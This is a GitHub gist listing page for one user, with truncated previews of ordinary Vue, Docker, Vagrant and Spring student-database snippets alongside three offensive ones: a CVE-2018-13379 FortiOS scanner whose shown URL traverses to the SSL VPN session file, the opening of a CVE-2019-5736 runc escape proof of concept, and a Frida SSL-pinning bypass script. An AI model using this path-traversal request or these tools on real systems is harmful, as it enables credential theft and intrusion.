Skip to content

Instantly share code, notes, and snippets.

😍
Falling in Love

GB Kim code-machina

😍
Falling in Love
Block or report user

Report or block code-machina

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@code-machina
code-machina / CVE-2018-13379.py
Last active Sep 10, 2019
CVE-2018-13379 : A path traversal vulnerability in the FortiOS SSL VPN web portal
View CVE-2018-13379.py
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
@code-machina
code-machina / FeaturefulTableComp.vue
Created Aug 31, 2019
코마의 featureful Table 샘플 (VUe.js)
View FeaturefulTableComp.vue
<!--
filename: FeaturefulTableComp.vue
writer: code-machina
// IoC 컨테이너 용 설정
depends on: {
'scss': [
'@/static/scss/Table.scss',
// 생략
],
'js' : [
@code-machina
code-machina / docker-compose-init.yml
Created Aug 27, 2019
도커 컴포저를 이용한 Replica Set 간편 구성 (샘플1)
View docker-compose-init.yml
version: '3.7'
services:
anguis1:
image: mongo:4.1
hostname: anguis1
container_name: anguis1
networks:
- mongo-bridge
ports:
@code-machina
code-machina / Vagrantfile
Created Aug 8, 2019
Vagrantfile for booting docker swarm and workers on windows 10
View Vagrantfile
BOX_IMAGE = "ubuntu/xenial64"
WORKER_COUNT = 0 # U can specify the number of workers.
MANAGER_IP_ADDRESS = "192.168.100.10" # Also, can chagne the subnet network
Vagrant.configure("2") do |config|
config.vm.box = BOX_IMAGE
config.vm.define "manager" do |subconfig|
subconfig.vm.box = BOX_IMAGE
View poc.go
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
View frida-android-repinning_sa-1.js
/*
Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
*/
setTimeout(function(){
@code-machina
code-machina / StudentRepository.java
Created Apr 5, 2019
Repository for Student Model
View StudentRepository.java
package com.gbkim.student.dal.repos;
import org.springframework.data.repository.CrudRepository;
import com.gbkim.student.dal.entities.Student;
// CrudRepository<Model_class_name, ids_type> (for example: CrudRepository<Student, Int>)
public interface StudentRepository extends CrudRepository<Student, Long> {
}
@code-machina
code-machina / Student.java
Created Apr 5, 2019
Model for Spring DAL
View Student.java
package com.gbkim.student.dal.entities;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;
@Entity
@code-machina
code-machina / studentdal.sql
Created Apr 5, 2019
Mysql Sql Example for Student DAL(Data Access Layer)
View studentdal.sql
create database projectdb
use projectdb
create table studenttab(
id int PRIMARY KEY AUTO_INCREMENT,
sname varchar(20),
scourse varchar(30),
sfee int
)
View StudentdalApplicationTests.java
package com.gbkim.student.dal;
import java.util.Optional;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
You can’t perform that action at this time.